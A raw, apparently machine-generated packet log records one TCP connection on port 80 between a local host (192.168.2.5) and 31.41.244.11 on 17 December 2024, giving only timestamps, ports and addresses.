Dec 17, 2024 08:03:20.338766098 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.339651108 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.339703083 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.339767933 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.339767933 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.347526073 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.347660065 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.347775936 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.347845078 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.347872972 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.347918987 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.347959042 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.348939896 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.349020004 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.349072933 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.349133015 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.349978924 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.350070000 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.350097895 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.350133896 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.351042986 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.351144075 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.352132082 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.352180004 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.352219105 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.352782965 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.353230000 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.353283882 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.353357077 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.353434086 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.354268074 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.354316950 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.482614040 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.482678890 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.482733011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.482775927 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.483108997 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.483150005 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.483263016 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.483309984 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.484298944 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.484333992 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.484358072 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.484400034 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.485299110 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.485342026 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.485379934 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.485526085 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.486408949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.486449003 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.486488104 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.486524105 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.487458944 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.487499952 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.487555981 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.487591982 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.488588095 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.488626003 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.488689899 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.488727093 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.489680052 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.489720106 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.489801884 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.489844084 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.490736961 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.490781069 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.490820885 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.490861893 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.491822958 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.491885900 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.491919994 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.491962910 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.492984056 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.493031979 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.493035078 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.493073940 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.493993998 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.494038105 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.494101048 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.494143009 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.495098114 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.495143890 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.495182991 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.495227098 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.496181011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.496225119 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.496303082 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.496344090 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.497428894 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.497493982 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.497575045 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.497621059 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.498399973 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.498446941 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.498554945 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.498604059 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.499442101 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.499528885 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.499588013 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.500539064 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.500591040 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.500629902 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.500690937 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.501642942 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.501689911 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.501756907 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.501801014 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.502809048 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.502866030 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.502885103 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.502926111 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.503810883 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.503853083 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.503917933 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.503958941 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.504909992 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.504952908 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.504991055 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.505053043 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.506036997 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.506079912 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.506161928 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.506201982 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.507080078 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.507124901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.507184029 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.507256031 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.508192062 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.508234978 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.508269072 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.508306026 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.509274006 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.509315968 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.509383917 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.509423971 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.510344028 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.510385990 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.510503054 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.510545015 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.511447906 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.511492014 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.511616945 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.511653900 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.512583017 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.512629032 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.512650013 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.512686014 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.513608932 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.513648033 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.513711929 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.513748884 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.514731884 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.514774084 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.514833927 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.514870882 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.515795946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.515840054 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.515902042 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.515938997 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.516901016 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.516947985 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.517009974 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.517050028 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.518033981 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.518074036 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.518136978 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.518173933 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.519104958 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.519150019 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.519208908 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.519253016 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.520157099 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.520201921 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.520266056 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.520307064 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.521265984 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.521312952 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.521351099 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.521394968 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.522386074 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.522432089 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.522469997 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.522511005 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.523461103 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.523505926 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.523629904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.523674965 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.524529934 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.524578094 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.524633884 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.524676085 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.525650978 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.525695086 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.525769949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.525810957 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.526758909 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.526823997 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.526848078 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.526887894 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.527829885 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.527894974 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.527935028 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.527990103 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.528903008 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.528948069 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.529055119 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.529097080 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.530057907 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.530102968 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.530162096 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.530203104 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.531097889 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.531140089 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.531198025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.531238079 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.532156944 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.532201052 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.539781094 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.539930105 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.539980888 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.540275097 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.540385008 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.540430069 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.541385889 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.541435957 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.541501999 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.542567015 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.542671919 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.542686939 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.542717934 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.542732954 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.543555975 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.543682098 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.543724060 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.544681072 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.544825077 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.544879913 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.545753956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.545836926 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.545885086 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.676418066 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.676520109 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.676577091 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.676882029 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.677123070 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.677167892 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.677917004 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.677957058 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.677982092 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.678002119 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.678596020 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.678648949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.678689957 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.679419041 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.679538965 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.679579020 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.680171013 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.680213928 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.680221081 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.680258036 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.681200981 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.681263924 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.681303024 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.681344986 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.682323933 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.682373047 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.682410955 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.682610035 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.683365107 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.683423042 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.683461905 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.683757067 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.684462070 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.684631109 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.684674025 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.685540915 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.685673952 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.685713053 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.686630011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.686768055 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.686806917 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.687727928 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.687869072 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.687906981 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.688807011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.688926935 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.689091921 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.689126015 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.689981937 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.690006018 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.690053940 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.691162109 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.691210032 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.691274881 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.691482067 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.692111969 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.692154884 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.692173958 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.692209005 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.693171978 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.693216085 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.693281889 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.693434954 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.694348097 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.694364071 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.694395065 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.694422960 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.695358038 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.695408106 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.695481062 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.695524931 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.696475983 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.696533918 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.696572065 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.696614981 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.697545052 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.697588921 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.697649002 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.697686911 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.698729038 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.698744059 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.698782921 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.699795008 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.699878931 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.699923038 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.700845003 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.700896978 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.700936079 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.701035023 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.701910019 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.702120066 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.702142954 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.702157021 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.703001976 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.703041077 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.703098059 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.703133106 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.704123974 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.704171896 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.704191923 CET	80	49844	31.41.244.11	192.168.2.5
